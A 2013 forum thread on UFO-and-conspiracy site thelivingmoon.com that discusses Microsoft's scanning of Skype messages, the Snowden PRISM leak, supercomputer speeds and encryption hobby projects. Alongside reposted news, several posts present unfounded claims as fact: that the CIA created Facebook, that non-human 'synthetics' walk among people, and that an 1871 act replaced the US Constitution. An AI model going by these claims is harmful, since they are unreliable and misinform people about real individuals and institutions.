"pigeons to control guided missiles"  REALLY? WOW

ORCON is just another classification caveat, like NORFORN.

ORCON: Originator controls dissemination and/or release of the document.
Title: Re: they know what you are doing
Post by: thorfourwinds on June 10, 2013, 01:21:29 pm
(http://www.thelivingmoon.com/gallery/albums/userpics/10005/skype-crypto-640x512.jpg)



Think your Skype messages get end-to-end encryption? Think again : Federal Jack (http://www.federaljack.com/think-your-skype-messages-get-end-to-end-encryption-think-again/)


(ARS TECHNICA)   If you think the private messages you send over Skype are protected by end-to-end encryption, think again. The Microsoft-owned service regularly scans message contents for signs of fraud, and company managers may log the results indefinitely, Ars has confirmed.

And this can only happen if Microsoft can convert the messages into human-readable form at will. With the help of independent privacy and security researcher Ashkan Soltani, Ars used Skype to send four Web links that were created solely for purposes of this article.

Two of them were never clicked on, but the other two—one beginning in HTTP link and the other HTTPS—were accessed by a machine at 65.52.100.214, an IP address belonging to Microsoft (http://www.whois.net/ip-address-lookup/65.52.100.214).

For those interested in the technical details, the log line looked like this:

'65.52.100.214 - - [16/May/2013 11:30:10] "HEAD /index.html?test_never_clicked HTTP/1.1" 200 -'


The results—which were similar but not identical to those reported last week (http://www.h-online.com/security/news/item/Skype-with-care-Microsoft-is-reading-everything-you-write-1862870.html) by The H Security—prove conclusively that Microsoft not only has ability to peer at the plaintext sent from one Skype user to another, but that the company regularly flexes that monitoring muscle.


Quote
Anyone who uses Skype has consented to the company reading everything they write. The H's associates in Germany at heise Security have now discovered that the Microsoft subsidiary does in fact make use of this privilege in practice. Shortly after sending HTTPS URLs over the instant messaging service, those URLs receive an unannounced visit from Microsoft HQ in Redmond...

Back in January, civil rights groups sent an open letter (http://www.skypeopenletter.com/) to Microsoft questioning the security of Skype communication since the takeover. The groups behind the letter, which included the Electronic Frontier Foundation (https://www.eff.org/) and Reporters without Borders (http://en.rsf.org/) expressed concern that the restructuring resulting from the takeover meant that Skype would have to comply with US laws on eavesdropping and would therefore have to permit government agencies and secret services to access Skype communications.


In one sense, this shouldn't come as news. Skype's privacy policy clearly states that it may (emphasis added) use automated scanning within Instant Messages and SMS (http://www.skype.com/en/legal/privacy/#protectionOfPersonalInformation) to identify spam and links to sites engaged in phishing and other forms of fraud.

And as Ars reported last year, since Skype was acquired by Microsoft, the network running the service has been drastically overhauled from its design of the preceding decade (http://arstechnica.com/business/2012/05/skype-replaces-p2p-supernodes-with-linux-boxes-hosted-by-microsoft/).


(http://www.thelivingmoon.com/gallery/albums/userpics/10005/skype-topology-4fa0137-intro.png)


Gone are the peer-to-peer "supernodes" made up of users with sufficient amounts of bandwidth and processing power; in their place are some 10,000 Linux machines hosted by Microsoft. In short, the decentralization that had been one of Skype's hallmarks was replaced with a much more centralized network. It stands to reason that messages traveling over centralized networks may be easier to monitor.


Perception, meet reality
Still, there's a widely held belief—even among security professionals, journalists, and human rights activists—that Skype somehow offers end-to-end encryption, meaning communications are encrypted by one user, transmitted over the wire, and then decrypted only when they reach the other party and are fully under that party's control. This is clearly not the case if Microsoft has the ability to read URLs transmitted back and forth.

"The problem right now is that there's a mismatch between the privacy people expect and what Microsoft is actually delivering," Matt Green, a professor specializing in encryption at Johns Hopkins University, told Ars.

"Even if Microsoft is only scanning links for 'good' purposes, say detecting malicious URLs, this indicates that they can intercept some of your text messages. And that means they could potentially intercept a lot more of them."


Specifics of the Microsoft scanning remain unclear; one possibility is that the scanning and spam-checking happen on Microsoft servers as communications pass through supernodes. Another possibility is that the Skype client on each end-user machine uses "regular expression" programming techniques built into the software and sends only the links to Microsoft servers.

"Either way, the finding does confirm that somewhere along the stream, Microsoft/Skype has the ability to intercept/extract content from your communications though we can't conclusively say where," Soltani wrote in an e-mail to Ars. "For example, even if the scanning was happening client side, it's plausible that MS could be compelled to push a ruleset to the Skype client that just logs/transmits all our activity (similar to what CarrierIQ was doing (http://arstechnica.com/tech-policy/2011/11/mobile-rootkit-maker-tries-to-silence-critical-android-dev-1/) on the HTC phones)."

Helping to feed this confusion about exactly what measures are taken to protect Skype messages is Microsoft's management, which remains vague about the precise type of encryption its service uses. Asked for comment on this story, a spokeswoman offered a statement that was identical to a single sentence in the privacy policy.

The statement didn't address my other question that's equally important: does Microsoft record the links and other content sent over Skype? Eventually I found the answer, and unfortunately it gives Microsoft all the wiggle room it needs. It states (http://www.skype.com/en/legal/privacy/#retentionOfPersonalData): "Skype will retain your information for as long as is necessary to: (1) fulfill any of the Purposes (as defined in article 2 of this Privacy Policy) or (2) comply with applicable legislation, regulatory requests and relevant orders from competent courts."


(http://www.thelivingmoon.com/gallery/albums/userpics/10005/facebook_report.jpg)


To be fair, Microsoft's scanning of Skype messages isn't too different from techniques Facebook reportedly employs (http://mashable.com/2012/07/12/facebook-scanning-chats/), and what any number of other online services do, too. As Green notes, these companies have a duty to make sure their services aren't abused to circulate malware.

What's different in the case of Skype is the misunderstanding among many users that links and other content sent over the service are private. This misunderstanding is all the more unfortunate given the possibility that this information plucked out of private messages could be logged and retained for as long as some nameless, faceless Microsoft manager deems appropriate.

Add to that the fact that a server bearing a Microsoft IP address very well may click on any link you send over Skype and it may not be such a good option for dissidents trying to lay low.
So the next time you use Skype, enjoy the clarity of the voice communications, its generally slick user interface, and its many other benefits.

Just don't think the service can't peer into your messages and store indefinitely what Microsoft managers want. It can, and until officials specifically disclose their practices, users should assume it does.
Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 01:25:42 pm
WOW  Fox news calls for execution!!!

But on the flip side a NEW SERVICE EMERGES

REPOST IT for free  http://www.repost.us/article-preview/hash/b967a1f853cf16edb218812708bb6a3d/

Trying it now.....

Fox News analyst: ‘Bring back the death penalty’ for NSA leaker (via Raw Story )

Fox News strategic analyst Ralph Peters on Monday said that the man behind the biggest leak in the history of the National Security Agency (NSA) deserved to be executed for his crimes. Peters asserted on Monday’s Fox & Friends that no Americans had been hurt by the NSA programs exposed by 29-year…

Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 01:27:02 pm
Okay so it works but comes with the ads :P
Title: Re: they know what you are doing
Post by: Gigas on June 10, 2013, 01:47:46 pm
This skype thing, I no use that spy script and noticed a lot of places in the ufo/alien arena are going to skype call ins and video conferencing. I don't chat, video chat, factbook, twitter or any of that screen scrape scripting.

I have to make an observation from what I see so far. That movie terminator three where we see the military industrial complex gone skynet and those drones are flying around firing missiles and stuff, we have that goin on now.

We are being ID'd by video drones, listened to by open wi-fi mics, followed by our banking, followed by store cam, followed by vehicle reporting technology, stalked on the internet by spookz and spies and information gathering techniques.

Were told its nothing to worry about. There are bad guys out there they have to watch but unfortunately that means you to.

I absolutely believe there are synthetics walking amongst humans and this creature has no moral compass to stop it from killing and hunting humans. Look at all the suicides that are clearly killings but obscured by the puppet masters manipulating reality blurring the real with the unreal forming an abstract consciousness change shaping whats morally human into a zombie.

I wanna know all of it and what I do with it is my decision.
Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 01:53:51 pm
It is easy to think that, but in the world of today, the super computers (Crays & etc) can do in seconds - trillion+  transactions per second -  what man could never do no matter the number of people,  and what could take years for standard computers to do. Nope, large volume searches are just simple child's play for the computers that our government uses on a daily basis.
Database work is mostly limited by memory available to load the datasets, not the speed of the processors. While having a computer with 1 terabyte of memory would help, it can only use that memory once, so if they are two "clients" asking something from a dataset that occupies the whole memory the computer cannot use the memory to server both requests, and the performance of the server is greatly decreased by that.

That's part of the problems I face in my work, as I have to design (and redesign) databases, manage servers, create programs and web pages that use those databases, etc., etc.

One of the current trends in databases is "big data", as that problem also happens to private companies, and as those don't have the cash coming from the government or from hidden sources, they are the ones in the forefront of how to solve the problem.
Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 01:56:17 pm
(https://fbcdn-sphotos-g-a.akamaihd.net/hphotos-ak-frc3/971222_4910420000798_731311869_n.jpg)


Facebook And It's Connections To The C.I.A. And D.A.R.P.A. by Brian S Staveley
01/19/2012


Quote
Facebook was setup by the C.I.A. Try telling that to most people and they laugh at it. People seem to think its a coincidence that Facebook seems to be so intrusive over and over again. Privacy policies that would make anyone scratch their head. I'm not going to beat around the bush with this blog post. Facebook was setup by the C.I.A. as a data mining project to collect as much information on as many people as they could. Not only that but it also has very strong ties to D.A.R.P.A. . The purpose of this data mining project that became Facebook was to find out a boat load of things on people. Where they are going. What they are doing. What airline are they using Who do they associate with What type of books or movies have you been reading. How you feel about things politically. The list goes on and on. Before I elaborate let me say that my prior statement about Facebook being setup by the C.I.A. isn't a theory or a hunch. If you simply follow the money its quite easy to see what is going on. Before we follow this money trail, just think about this.

                 If Facebook was setup by the C.I.A. (and it was) its a pretty brilliant plan. Never before have the people they want to watch actually given up so much information VOLUNTARILY! The C.I.A. doesn't even have to dig for most of it. People put it right out there. Think about how descriptive some people's status updates are. They tell you where they are going, who they are with sometimes, what they like. All these things. Did you know that once Facebook has you tagged in ONE PHOTO they have you identified anytime an image of you is uploaded whether it is tagged, labeled, or anything else to ID it? Facebook runs facial recognition on all photos and can even ID you by running it on some really low resolution shots, and its done for free! Does that sound like something a website would do for free? There are some much more intrusive things Facebook does to track you and every site you visit that you probably don't know about. All this without visiting Facebook or even needing to be a member!! After I tell you about the money trail and the start of Facebook we will get into more of these privacy issues and there are a lot. The facial recognition is just the tip of the iceberg. Before we do all that let's have a quick history lesson, the way I do history. With the ACTUAL TRUTH. The movie "The Social Network" was a big hit. It was supposedly all about the start of Facebook from a college dorm room to a multi billion dollar corporation in Palo Alto California. They left out some very interesting things that you all should know. That movie in itself was not about entertainment. It was propaganda to fortify the Facebook lie. Let us go back to the year 2003.

                  2003 is the year before Facebook officially launched outside of just the dorms at Harvard University. It launched in early 2004. Now in the movie and in the I guess what you could call the "official story" Mark Zuckerberg gets a 500,000 dollar investment from Peter Thiel some big shot exec out on the west coast. With this 500,000 investment Peter Thiel became some thing like a 7-8% owner of Facebook. So for Thiel obviously seeing as Facebook is valued at over 30 billion dollars he made quite the sound investment. This was a huge deal to Mark Zuckerberg. Now he had all the startup money he would need and then some. 500,000 dollars is a lot more than he needs to start a website, buy some servers, and hire some programmers, and it was supposed to be. It was Peter Thiel buying his way into the company. He had to pay something. Now supposedly in the process they screwed one of the other friends of Mark, gave him a tiny percentage and took his name of the mast head. Which they made a big deal about and we will talk about why. Peter Thiel made a huge investment and he wanted his name displayed on the site as one of the owners and rightfully so. Eduardo Saverin made a big stink because his name was taken off. So you see its kind of a big deal. Remember this for later. So they take the money and relocate to California. Facebook takes off so fast. This was in Early 2004. This all happened within a couple of months of Mark launching the site. So they were building it in 2003 in their dorm room and it launched in the beginning of 2004 . This 500,000 investment would also be in early 2004.That's how they got the money to move out to California. Well you know what would have been a lot better than a 500,000 dollar investment? How about a 12.7 million dollar investment? How about a 12.7 million dollar investment from Uncle Sam? Funny how we didn't hear about this one huh? That's 25 times greater of an investment than the one the make a big deal about in the movie.

                 This huge investment of $12.7 million came from James Breyer who is closely associated with a venture capital company called InQtel established by the CIA in 1999 and he served on the board of BBN. InQtel deals in information technology and intelligence most notably “nurturing data mining technologies”.

             So Zuckerberg actually got an investment over 25x greater than the 500,000 dollar investment and there is no mention of it anywhere! Remember we talked about how much pride these guys took in having their names on the mast head. It makes sense. You put in all that money to help someone get a project off the ground you deserve some recognition.

              James Breyer's name is not mentioned anywhere. Now remember Thiel put in 500,000 and got 7% of the company. So what would almost 13 million get you? Well if my math is right it, if you used the same scale as Thiel it would be over 140% of the company. Something doesn't add up here huh? Starting to think the Thiel investment is complete BS. Either way that is certainetly not the important point. The point is they only mention Thiel and not the guy who threw in over 25 x more money. Almost 13 million put on a college kid's dreams? Sounds kinda far fetched doesn't it? Why soooooo much money?  That is enough to statup a 1000 social networks! Now why would he want to invest that much? Well look at where he is coming from.  He sits on the board of a C.I.A. front company that specialized in using the internet to data mine and find out what people are doing. Where they are going. Who they are with. etc,etc,etc.... What's that sound like to you?

                       Then there is the D.A.R.P.A. connection.  A brief summary on D.A.R.P.A. for those that don't know. They invented the internet. They are under the dept of defense. They are actually working on liquid metal robots like in Terminator 2. These are the types of things they do. They would be the most cutting edge inventors for the government and military. Super high tech stuff. Things we can't even imagine exist, they play with every day. D.A.R.P.A. is tied into all this as well.

http://www.therealnewsonline.com/2/post/2012/01/facebook-and-its-connections-to-the-cia-and-darpa.html


SPECIAL ANNOUNCEMENT: About a month after posting this a new article was put out by Lifehacker that actually shows you how to STOP Facebook from tracking you via these other sites! It's a really good article. Here is a link to it.  http://lifehacker.com/5843969/facebook-is-tracking-your-every-move-on-the-web-heres-how-to-stop-it
Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 02:00:41 pm

Think your Skype messages get end-to-end encryption? Think again : Federal Jack (http://www.federaljack.com/think-your-skype-messages-get-end-to-end-encryption-think-again/)
Nobody worried about privacy should think that any software they are using uses encryption that cannot be "opened" by the software creator or anyone with the right "key", they should trust only encryption applied by them.
Title: Re: they know what you are doing
Post by: rdunk on June 10, 2013, 02:17:02 pm
"Fox News analyst: ‘Bring back the death penalty’ for NSA leaker".

And I say, let's make the penalty equally severe for making something classified that is un-Constitutional by fact determination.

And, let us "let the people", in some way, decide on the fate/reward of whistleblowers, not political administrations, and not the military, and not the Intelligence agencies, and etc.

I don't like people releasing classified information which has reasonably accepted cause for classification. But, when it comes to our own government spying on the people, and the such-like, I sure as hell want to know about it, so reasnable Americans can do something about it!

Maybe we need to set up "another department" in our country's government, to be the first receiver for classified whistleblower information. This department, with the appropriate security levels, would be the point of determination for handling the information, as necessary.  Probably a segment of the Justice department, or a segment of Congress. This would be a way to open the door for whistle-blowing, without fear of reprisals!!

As long as we have this huge government, we really need something like this.
Title: Re: they know what you are doing
Post by: Gigas on June 10, 2013, 02:30:06 pm
For kicks, I vb6 coded a software program back in 2000 to encrypt messages. I was going to develop it for email messages so it would be a stand alone email program for people to send encrypted messages back and forth with the program unencrypting incoming messages.

Here it is:

(http://s21.postimg.org/smy1trso7/encreep.jpg)


I studied how the encryption method can be broke and lost interest in further development.

Another method of interest is steganography. I had a program where you can insert text messages within a photo and covertly post it on the beep webz for someone to decode the message embeded in the image code.

The story later broke this was being used by foreign operatives and they scanned ebay and found secret messages being deployed on their auction site from within ads.
Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 03:08:59 pm
LOL they think this is NEWS 


US Navy Caught Monitoring UFO Web-Sites

(http://1.bp.blogspot.com/-V7v3wpymqpU/Ua4dIasAFkI/AAAAAAAATEc/xTJvHZMHhvs/s400/US+Navy+Caught+Monitoring+UFO+Web-Sites.jpg)

By Anthony Bragalia
The UFO Iconoclast(s)
6-2-13

      A little-known US Navy agency employing some of the nation’s top information technology experts has been selectively monitoring websites that carry articles that relate to UFO crashes, Roswell and related events.

For at least five years this small Navy organization has found, visited and reviewed certain blogs, writers and forums that discuss such subjects, including this blog -- The UFO Iconoclast(s).

This agency employs personnel with Top Secret clearance that manage all Navy computer networks. They also manage the entire IP database for the US Navy, direct classified telecommunications networks, and support cyber defense and cyber warfare projects. They also provide the servers and networks for other government agencies including NASA.

This agency collaborates with those in DoD military and intelligence. And the name of the agency caught in UFO site surveillance is the Navy Network Information Center (NNIC) within the “Navy Circuit Management Office.”

That agency has also targeted this author.

UFO Bloggers Reporting Navy Interest

I have located several examples of Navy Network Information Center (NNIC) visits to online UFO articles and whose visitor logs are available for review:

- UFO-Blogger.com reported that on December 8, 2010 their visitor tracking program indicated a visit by the NNIC. Such programs can often provide further details about the visit: There were a total of 3 “Page Views” and the visit was for 1 minute and 22 seconds. The “Entry Page” and “Exit Page” (or the title and keywords that brought them to the site) was: “Wikileaks UFO Disclosure: Cables Contain UFO Info, Claims Assange.”

- Mel Fabregas of VeritasRadio.Blogspot.com reported on January 29, 2009 that a UFO website author had contacted him to report that immediately after posting an article entitled “UFO Sighting Over President Barack Obama Inauguration,” the NNIC came “visiting.” Fabregas reported that he contacted Italian researcher Paola Harris about this who told him, “I have gotten several emails citing intelligence groups who are logging on to (UFO) websites.”

- Even patently “fake” UFO-Alien encounter tales can apparently catch the interest of NNIC. As far back as five years ago (on July 5, 2008) the Open Minds Forum commented on “Sources That are Reading Serpo.org Releases” and mentioned that among the first visitors to the Serpo site was NNIC. A tale put forth by a man named Victor Martinez (likely with the help of Air Force flunky Richard Doty) had proposed that open contact was made between our government and an alien race some decades ago and that an “exchange program” called “Serpo” was created, carrying of a dozen earth people to a distant star.

More on the Navy Network Information Center

Finding information of any type on this agency proves very difficult. Using LinkedIn I learned of an individual who works with a major government classified work contractor, URS. She is the Financial Manager for the NNIC and manages a $300 million budget. From another professional on LinkedIn who is a security-cleared Network Engineer some information could be gleaned about the agency’s mission.

According to the website URL Monitor, the NNIC acts as the server for other government agencies, including NASA’s Global Ocean Data Experiment website and network. The server was found to be faster than most measured websites.

The Navy Network Information Center seems to be “headquartered” in Norfolk, VA based two employee and contractor profiles found on LinkedIn. IP address information provided by the website IPF1.com shows that location as well as IP addresses in Pensacola, FL and three in Portsmouth, VA. UFO-Blogger.com reported that their NNIC site visitor was located at Camp Pendleton.

The NNIC and Me

At least once the NNIC has visited me. In an article that was carried on Frank Warren’s The UFO Chronicles website entitled “Roswell Officer Speaks from the Grave” appearing on December 10, 2012, sure enough, the NNIC was a cyber-visitor according to Frank’s Stat Counter.

This article featured a taped confession of viewing an ET corpse by Walter Haut, the Public Information Officer at Roswell Army Air Field in July, 1947.

Frank reports that there were several federal government visitors with military and intelligence agencies, among them one for which no information has been found available: the “US Department of Defense Network” in Severn, MD with another location in Texarkana, TX.

Other Government UFO Site Visitors

There are indeed other government UFO site visitors according to those who are tracking their visitors, These include NASA, Department of Homeland Security and the US State Department. But there is always one consistent visitor who often visits first: the Navy through its little-mentioned Navy Network Information Center.

Private Interest or Government Spying

At least some of these government “website hits” are surely resultant from private interest. The US government employs hundreds of thousands with work-a-day routines. Sitting in front of their computers are they merely playing “digital hooky” from work and “playing on the computer” of their employer – or is it something deeper? Is their employer directing them to keep a watch on the UFO watchers?

Posted by Frank Warren at 12:01 AM
http://www.theufochronicles.com/2013/06/us-navy-caught-monitoring-ufo-web-sites.html


I think Frank is registered here somewhere :D

Title: Re: they know what you are doing
Post by: rdunk on June 10, 2013, 03:09:25 pm
Database work is mostly limited by memory available to load the datasets, not the speed of the processors. While having a computer with 1 terabyte of memory would help, it can only use that memory once, so if they are two "clients" asking something from a dataset that occupies the whole memory the computer cannot use the memory to server both requests, and the performance of the server is greatly decreased by that.


We are not talking about home computers here, nor home computer type processing needs.

With super computers processing capabilities in the 1000's of trillions instructions per second range, I don't think 1T of storage would cut it. My home computer has a 1TB hard drive, and a 3TB external hard drive, but the processing speeds are laughable, as compared to the super computers.

For comparison, my computer has a 3.02 GHZ processor, which means my processor can execute 3.02 billion instructions per second. As noted prior above, the super computers are in the 1,000 Trillions per second (petaflop) range.

Here is another article dated Nov. 2012, that announces the U.S, has a supercomputer at the speed of 17.59 petaflops/s. And here is a list of the top supercomputers, and their processing speeds.

Peta-Flop

A petaflop is a measure of a computer's processing speed and can be expressed as a thousand trillion floating point operations per second.

The top five supercomputers in the world are:

Titan Cray XK47 at Oak Ridge National Laboratory (17.59 petaflops/s)

Sequoia BlueGene/Q at Lawrence Livermore National Laboratory (16.33 petaflops/s)

Fujitsu's K computer at the RIKEN Advanced Institute for Computational Science in Kobe, Japan (10.51 petaflops/s)

The Mira BlueGene/Q computer at Argonne National Laboratory in Lemont, Ill. (8.16 petaflops/s)

The JUQUEEN BlueGene/Q computer at the Forschungszentrum Juelich in Germany. (4.14 petaflops/s)

http://news.yahoo.com/worlds-fastest-supercomputer-crowned-us-192428438.html
Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 03:18:17 pm
For kicks, I vb6 coded a software program back in 2000 to encrypt messages.
Some of the programs in which I participated had their passwords encrypted with a method created in the company where I work. As the program was not supposed to be that secure, it was a simple encryption, but not as simple as a simple substitution (I only used simple substitution with my brother, and he was never able to decipher it :) ).

Quote
I studied how the encryption method can be broke and lost interest in further development.
Some methods cannot be broken. :)
Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 03:27:26 pm
Edward Snowden: Ex-CIA leaker drops out of sight, faces legal battle

Quote
In Washington, several lawmakers called for the extradition and prosecution of the ex-CIA employee behind one of the most significant security leaks in U.S. history. Members of the U.S. Congress said they would be briefed on the topic on Tuesday; the U.S. Justice Department is in the initial stages of a criminal investigation.

"If anyone were to violate the law by leaking classified information outside the legal avenues, certainly that individual should be prosecuted to the full extent of the law," Eric Cantor, the No. 2 Republican in the House of Representatives, said on CBS's "This Morning."

http://www.chicagotribune.com/news/chi-edward-snowden-nsa-leaks-20130610,0,5107295.story
Title: Re: they know what you are doing
Post by: zorgon on June 10, 2013, 03:36:02 pm
Assange on Snowden: He's a hero, we've been in contact

(http://rt.com/files/news/1f/5e/40/00/assange-snowden-wikileaks-nsa2.si.jpg)
WikiLeaks founder Julian Assange (AFP Photo)

Quote
Julian Assange says that he was in “indirect” contact with ex-CIA staffer Edward Snowden, who leaked details of US top-secret Internet snooping programs, and that the whistleblower stood for the same goals as the WikiLeaks organization.

Follow RT's LIVE UPDATES on NSA leak fallout (http://rt.com/usa/nsa-leak-snowden-live-updates-482/)

“What [Snowden] has revealed is what I have been speaking about for years, that the [US] National Security Agency and its allies have been involved in a mass interception program of Google, Facebook, the various telecommunications data…,” Assange stated in an interview with Australian news program Lateline on ABC.

(http://rt.com/files/news/1f/5e/40/00/000_hkg8679423_copy_copy.jpg)

 Snowden, 29, is behind one of the biggest leaks in US political history. He revealed to The Guardian top-secret documents including those about the US National Security Agency’s (NSA) massive spy tool, the PRISM. It gave US intelligence agencies access to data servers maintained by some of the country’s biggest Internet companies – and therefore an ability to spy on Americans’ emails, video chats, search history, and so on.

Assange – who has been holed up in the Ecuadorian embassy in the UK and is running for a seat in the Australian senate later this year – approved of Snowden’s actions calling him “a hero who has informed the public about one of the most serious events of the decade, which is the creeping formulation of a mass surveillance state”.

He added that the WikiLeaks political party shares a similar stance on warrantless spying, seeing it as “unacceptable.”

“We run the danger here of the West more broadly drifting into a state where there are two systems. There's one law for the average person and there's another law if you're inside the national intelligence complex,” he said. “You can intercept whoever you want, you're completely unaccountable for your actions, there's no judicial review.”

Assange believes that neither Australians, nor Americans find such an approach acceptable.

“Snowden clearly didn't find that acceptable and he was even someone in the system,” he observed.

Assange also admitted that he had an “indirect communication” with Snowden’s people. However, he refused to disclose any further details.

“Let's look at the case and let's look at what he's revealed,” Assange said.

Last week, commenting on the NSA scandal, the WikiLeaks founder slammed the US government spying scheme as a “calamitous collapse in the rule of law.”

The disclosure of the two massive secret US surveillance programs – the PRISM and also a program under which a division of telecommunications provider Verizon was ordered to hand over records to the NSA – caused huge public uproar. American intelligence confirmed that they collect the private messages of millions of Internet users, but insist that the mass surveillance only targeted “non-US persons outside the US”.

President Barack Obama said last Friday that the NSA program is justified as it allows agents to identify “leads with respect to folks who might engage in terrorism” and noted that one “can’t have 100 per cent security and also then have 100 per cent privacy.”

However, American tech giants – Google and FaceBook – continued to deny that they knew about the PRISM program.

Courtesy of Russian Times (http://rt.com/news/assange-snowden-wikileaks-nsa-484/)
Title: Re: they know what you are doing
Post by: rdunk on June 10, 2013, 03:47:18 pm
Of course, Obama will try to make the story "about the whistleblower", and not take responsibility of the wholesale spying upon all Americans by his administration et al they all work for him - Justice, NSA, FBI, IRS, State, Treasur, etc.

The action of Obama always is to make the story/negative news about somebody else or something else. Never let the story stick to himself!
Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 03:59:16 pm
We are not talking about home computers here, nor home computer type processing needs.
Obviously.

Quote
With super computers processing capabilities in the 1 to 2 trillion calculations per second range, I don't think 1T of storage would cut it. My home computer has a 1TB hard drive, and a 3TB external hard drive, but the processing speeds are laughable, as compared to the super computers.
I said "memory", not disk space.

Quote
For comparison, my computer has a 3.02 GHZ processor, which means my processor can execute 3.02 billion instructions per second. As noted prior above, the super computers are in the 1,000 Trillions per second (petaflop) range.
A 3.02 GHz processor means that the clock that makes the processor work runs at that speed, that's not the number of instructions it can execute per second, that depends on the way the processor is made.

A simple processor may need several operations to execute a simple instruction, as it has first to read the code and interpret it, fetch any data used by the command (like a memory address and a value to add to that address) and finally execute the command, so it takes several CPU cycles to execute one instruction.

The floating point operations are some of the most complex operations, usually done by a specific part of the processor (or even a different processor), and they may need several CPU cycles to be executed, if the CPU doesn't use any parallelism.
Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 04:01:53 pm
Of course, Obama will try to make the story "about the whistleblower", and not take responsibility of the wholesale spying upon all Americans by his administration et al they all work for him - Justice, NSA, FBI, IRS, State, Treasur, etc.
They do not work for Obama, they work for whoever runs the country. :)
Title: Re: they know what you are doing
Post by: Cosmic4life on June 10, 2013, 05:00:04 pm
Well first we had Echelon running the PROMIS program ...

Now we have PRISM.

Is it just me or is PRISM a newer version of PROMIS ?  a rhetorical question.

Michael Riconosciuto is an interesting person to search for .. as is the late Danny Casolaro.

C..
Title: Re: they know what you are doing
Post by: Gigas on June 10, 2013, 05:41:56 pm
Well first we had Echelon running the PROMIS program ...

Now we have PRISM.

Is it just me or is PRISM a newer version of PROMIS ?  a rhetorical question.

Michael Riconosciuto is an interesting person to search for .. as is the late Danny Casolaro.

C..


Michael Riconosciuto is a very very interesting guy. So interesting in fact, the tptb had to put him away in prison till 2024. This guy is not just some guy and from what I have gathered, he may not be human.

Danny Casolaro is dead but Michael Riconosciuto is not. That man and his ilk are suspiciously untouchable. Most of those who worked with MR are dead but some are not.

Cabazon indian reservation was their play ground in the 80s and the chief and several friends were murdered while sitting out in their yard by a guy we know now was the head of security at the Cabazon casino. This guy, James Hughes, got away, went to south america and lived for 20 some years till they got him in miami on a warrant.

This guy was sought by the daughter of one of those murdered and she knew he did it but law enforcement would not go after him till some years ago.

James Hughes confessed to murdering those three people on the Cabazon reservation and they let him go. Imagine that in the world of spooks.

Another good read is called the last circle by sherrie seymour where even more names like spooky John Nickles come out of the wood work. Google that title and its online to be read for free. Talk about spooky and spooks, its in there.


http://aconstantineblacklist.blogspot.com/2009/10/octopus-murders-victims-daughter.html


To read online sherries book the last circle: http://www.bibliotecapleyades.net/sociopolitica/last_circle/0.htm
Title: Re: they know what you are doing
Post by: rdunk on June 10, 2013, 05:47:02 pm
They do not work for Obama, they work for whoever runs the country. :)

That is a very incorrect statement. The President is like the CEO of any corporation. The "CEO" is ultimately held responsible, by the board of the corporation, for everything that happens relative to the corporation's conduct of business. Any President should receive the same consideration for the good or bad execution of the Executive Branch of the Government.

I am going to try to post a link to an organizational chart for you that depicts the President's areas of responsibilities.

In most of the US gov. org. charts I have looked at, it is noticeable that "The Constitution" is the top box on the chart, being the "head" of our country's government.


http://www.flickr.com/photos/rob_goodspeed/3020963540/
Title: Re: they know what you are doing
Post by: Amaterasu on June 10, 2013, 05:47:42 pm
YES IT DOES HAVE A REAL AND LASTING EFFECT!

This crap represents direct violations of what is in our Constitution and in our Bill of Rights. These are foundational documents for this country, and they do not change every time someone has a different idea about how they think it should be. All elected officials are in office to "uphold the Constitution", and that doesn't allow government to take actions that violate it and impinge upon the rights of we the people.

Might point out that it does not stipulate whether it is the original constitution or the CORPORATE constitution that nullified the original in 1871:

http://www.dailypaul.com/138686/the-act-of-1871-is-this-the-source-of-all-our-problems

Quote
The following article explains how the original
"Constitution for the united states for America"
was in 1871, changed to the
"THE CONSTITUTION OF THE UNITED STATES OF AMERICA".

If this impostor is the source of our modern day problems, repealing it could be the simple solution as well.

I am a neophyte of this topic but find it most interesting. Hopefully, some other DPs will help confirm the accuracy of this historical event and bring additional understanding to the fore.

Excerpt:
The Congress realized our country was in dire financial straits, so they cut a deal with the international bankers — (in those days, the Rothschilds of London were dipping their fingers into everyone's pie) thereby incurring a DEBT to said bankers.

If we think about banks, we know they do not just lend us money out of the goodness of their hearts. A bank will not do anything for you unless it is entirely in their best interest to do so. There has to be some sort of collateral or some string attached which puts you and me (the borrower) into a subservient position. This was true back in 1871 as well.

The conniving international bankers were not about to lend our floundering nation any money without some serious stipulations. So, they devised a brilliant way of getting their foot in the door of the United States (a prize they had coveted for some time, but had been unable to grasp thanks to our Founding Fathers, who despised them and held them in check), and thus, the Act of 1871 was passed.

In essence, this Act formed the corporation known as THE UNITED STATES. Note the capitalization, because it is important. This corporation, owned by foreign interests, moved right in and shoved the original "organic" version of the Constitution into a dusty corner. With the "Act of 1871," our Constitution was defaced in the sense that the title was block-capitalized and the word "for" was changed to the word "of" in the title. The original Constitution drafted by the Founding Fathers, was written in this manner:

"The Constitution for the united states of America".

http://www.serendipity.li/jsmill/us_corporation.htm
Title: Re: they know what you are doing
Post by: ArMaP on June 10, 2013, 05:57:21 pm
That is a very incorrect statement.
What I meant was that today is Obama, after him it will be someone else.
Title: Re: they know what you are doing
Post by: The Matrix Traveller on June 10, 2013, 06:20:47 pm
[youtube]http://www.youtube.com/watch?v=osoF7nzSy2A[/youtube]

Enjoy...   :)
Title: Re: they know what you are doing
Post by: rdunk on June 10, 2013, 06:23:34 pm
Might point out that it does not stipulate whether it is the original constitution or the CORPORATE constitution that nullified the original in 1871:

That matters not. While it does seem to bother just a few, The Constitution is the Constitution! We have plenty of people well versed in all aspect of the Constitution and Constitutional Law, so no need to be concerned with whatever theorists might try to throw around in this regard. There are certain areas in our government that do need to be eliminated, like the Federal Reserve, and the IRS, etc.. But such action will simply be a matter of doing the things necessary to "gitter done"! :))
Title: Re: they know what you are doing
Post by: Amaterasu on June 10, 2013, 06:26:39 pm
Might point out that it does not stipulate whether it is the original constitution or the CORPORATE constitution that nullified the original in 1871:

